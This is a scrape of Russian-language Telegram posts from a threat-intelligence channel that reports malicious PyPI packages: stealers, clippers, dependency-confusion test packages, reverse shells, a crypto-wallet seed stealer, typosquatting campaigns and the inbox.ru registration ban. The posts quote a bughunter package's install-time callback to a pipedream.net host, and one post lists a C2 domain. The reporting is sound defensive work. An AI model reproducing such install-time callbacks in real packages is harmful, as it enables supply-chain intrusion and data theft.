🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов☕️ . При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
🤔 Скрины 1, 2. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры мы писали здесь), токен которого вшит в коде. Пакеты имеют название вида
🤔 Скрин 3. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида
🤔 Скрины 4, 5. Стилер, обходящий диски в поисках файлов
Уведомили Python Package Index, пакеты выпилены👋
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав❤️
#ti #stealer #pypi #pyanalysis
@ptescalator
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
raquest
, ebell
.testjsonn1
, testjson2
, gentorqkkh
..env
, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3
. Имя разработчика говорит само за себя: shyam_the_hacker
.Уведомили Python Package Index, пакеты выпилены
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав
raquest
вместо requests
, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки #ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍6❤3
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
Описание пакетов одинаковое:
Но странно, что в метаданных PyPI-проекта автор представляется как❕
Не говоря уже о том, что
Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.
🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.
🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.
🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя
Во всех этих пакетах автором указан
У нас нет подробностей того, как🐱
To be continued...
#ti #pypi #pyanalysis
@ptescalator
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
yandex.bughunter
зарегистрировал пять пакетов с разными вариантами текста:
import subprocess
import os
import requests
#I am bughunter
#[email protected]
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
import requests
#I am bughunter
#[email protected]
print('If you read this message and you are from Yandex write me [email protected]')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")
Описание пакетов одинаковое:
I created this package for security testing. I am bughunter from Yandex
. Но странно, что в метаданных PyPI-проекта автор представляется как
Thomas Anderson <[email protected]>
, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru
Не говоря уже о том, что
Thomas Anderson
— это тот самый мистер Андерсон из «Матрицы»...Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
torchtriton
, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.yandex.bughunter
забрал себе yandex-bot — аккаунт
, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk
, yandex-cloud-ml-sdk-preview
, yandex-infradev-tool
... Во всех этих пакетах автором указан
Yandex <[email protected]>
. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex
, а сами пакеты вызывают исключение при попытке их поставить:
class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")
У нас нет подробностей того, как
yandex.bughunter
узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI To be continued...
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥13👾5🤯4✍2
Страсти опенсорса: часть вторая
Инфостилеры🧋
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
И выпустил пакет❌
1001 мимикрия под requests😵💫
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов🐶
Вредоносная нагрузка расположена в
Сезон отстуков🏖
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно👍
#ti #stealer #pypi #pyanalysis
@ptescalator
Инфостилеры
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик
GeorgeTheMightyDev
подумал: «А что, если...»И выпустил пакет
pojang-resorter
, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора 1001 мимикрия под requests
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов
flophttp
и invokehttp
. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания Вредоносная нагрузка расположена в
__init__.py
и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow
, blacktrone
, pickachu
, takihao
(скриншот 3), становится понятно, что наш злоумышленник — человек культуры.Сезон отстуков
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.
На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты
artifact-lab-3-package-77d0c154
, artifact-lab-3-package-89883da3
, tiktok-session-lite-sdk
.———
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно
#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤7💯7👍3👀2
Снова ловим багхантеров 💀
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен
Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам🤨 Занятно. Нагрузка все та же — реверс-шеллы.
Домен🤬 . Что-ж...
———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.
#ti #pypi #pyanalysis
@ptescalator
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
innostage
и innostage_group
. История нетипичная: почта у разработчика — [email protected]
(о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru
(мимикрия под innostage-group.ru
) и files.pythonhosted.ru
(мимикрия под files.pythonhosted.org
). Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
files.pythonhosted.org
поменял на управляемый атакующим files.pypihosted.org
.Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам
innostage
и innostage_group
прибавились cyberart
, ... posi
, maxpatrol
и ptsecurity
Домен
inostage.ru
уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию ———
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁19🔥13❤7👍4💩3👀2
Первые шаги на хакерском поприще 🐱
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
🟢
🟢
В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
Из занятного — в релизах проектов оставлены папки🐈
2️⃣ В июле-августе 2024 года существовал пакет
Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
Сам подменяемый
Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis😍
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников🎂
#ti #pypi #pyanalysis #scs
@ptescalator
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
boto3
, scikit-learn
, requests
(концепт-план версии 0.2.0 — вполне креативный).Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
not-so-evil-package-spaceylad
, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.not-evil-calculator-spaceylad
, который непосредственно запустит команду, — скриншот 3.В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
.css
. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe
, представляющий собой... calc.exe
из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY
.Из занятного — в релизах проектов оставлены папки
.idea
(папка проекта в IDE PyCharm) и .venv
(папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package
. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 2️⃣ В июле-августе 2024 года существовал пакет
recovery
, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo
. Имя автора, ExodusChecker
, вызывает смутные подозрения, но давайте не будем торопиться.Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
hammy
, тестирующий на Exodus 24.31.4
) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat
, сохраняемый в папку автозагрузки, — это отдельный анекдот.Сам подменяемый
app.asar
использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock
из app/wallet/index.js
получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👏9❤7👍3🙈2
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе🐱 .
IoCs:
#ti #pypi #pyanalysis #scs
@ptescalator
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
bvk
в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе
IoCs:
пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍10❤8❤🔥2
Страсти вокруг PyPI: 🪰⮕🐘?
На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
@banksta:
@imaxairu:
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение⬇️
На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.
В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
@banksta:
Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.
@imaxairu:
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python
Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль
Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
zoom.cnews.ru
Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox.ru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mail.ru.…
❤14👍9🔥6🤝1
Даём оценку официальным заявлениям
CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене
Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов
Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.
PyPI приводит статистику:
По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.
Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Давайте разберемся с кампанией.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение⬇️
CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене
inbox.ru
.Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов
outlook.com
и hotmail.com
(принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.
PyPI приводит статистику:
9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26 9
2025-06-27 295
2025-06-28 39
2025-06-29 119
2025-06-30 740
2025-07-01 249
2025-07-02 46
2025-07-10 16
2025-07-11 12
По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.
Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу [email protected], чтобы обсудить это решение.
Давайте разберемся с кампанией.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
blog.pypi.org
Prohibiting inbox.ru email domain registrations - The Python Package Index Blog
We have prohibited new registrations of accounts using inbox.ru email domains.
❤12👍8🤝7
Характер кампании
Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.
Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на
График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).
Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на
В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.
Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢 🐱
🟢
🟢
🟢
🟢
🟢
🟢
🟢 🍉
🟢
🟢
🟢
🟢 💀
🟢
🟢
🟢
🟢
🟢
🟢
Некоторые из названий тагретят разработчиков российских компаний:
🟢 🐱
🟢 💀
🟢
🟢
🟢 😺
🟢
На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники🥺
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.
Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на
@inbox.ru
, все легитимные.График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).
Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на
@inbox.ru
, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.
Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
avoid
common-io
win32crypt
win32com
pywintypes
jsap
webdav2
arbuzmining
requirements-cpu-txt
requirements-cuda-txt
dl-pivot-pandas
steambaselib
catboost-spark
numpynumpy
antlr4-runtime
celery-telegram
exllama-kernels
booking-api
Некоторые из названий тагретят разработчиков российских компаний:
youla-spark-session
ipy-kaspersky
vkads
vkpay
vkplay-sync
vkplay-metrics
На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13👍10🤝6🤯1
Оправдано ли внесение почты
В настоящее время при создании почтового ящика на
Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.
Зарегистрированных на PyPI разработчиков, привязавших почту
Подводя итог
Ограничение создания новых учётных записей с использованием почты на
Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.
Получился опенсорсный myth busters👀
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
@inbox.ru
в чёрный список?В настоящее время при создании почтового ящика на
@inbox.ru
требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.
Зарегистрированных на PyPI разработчиков, привязавших почту
@inbox.ru
, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.Подводя итог
Ограничение создания новых учётных записей с использованием почты на
@inbox.ru
— закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.
Получился опенсорсный myth busters
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
❤22👍16🤝10👀1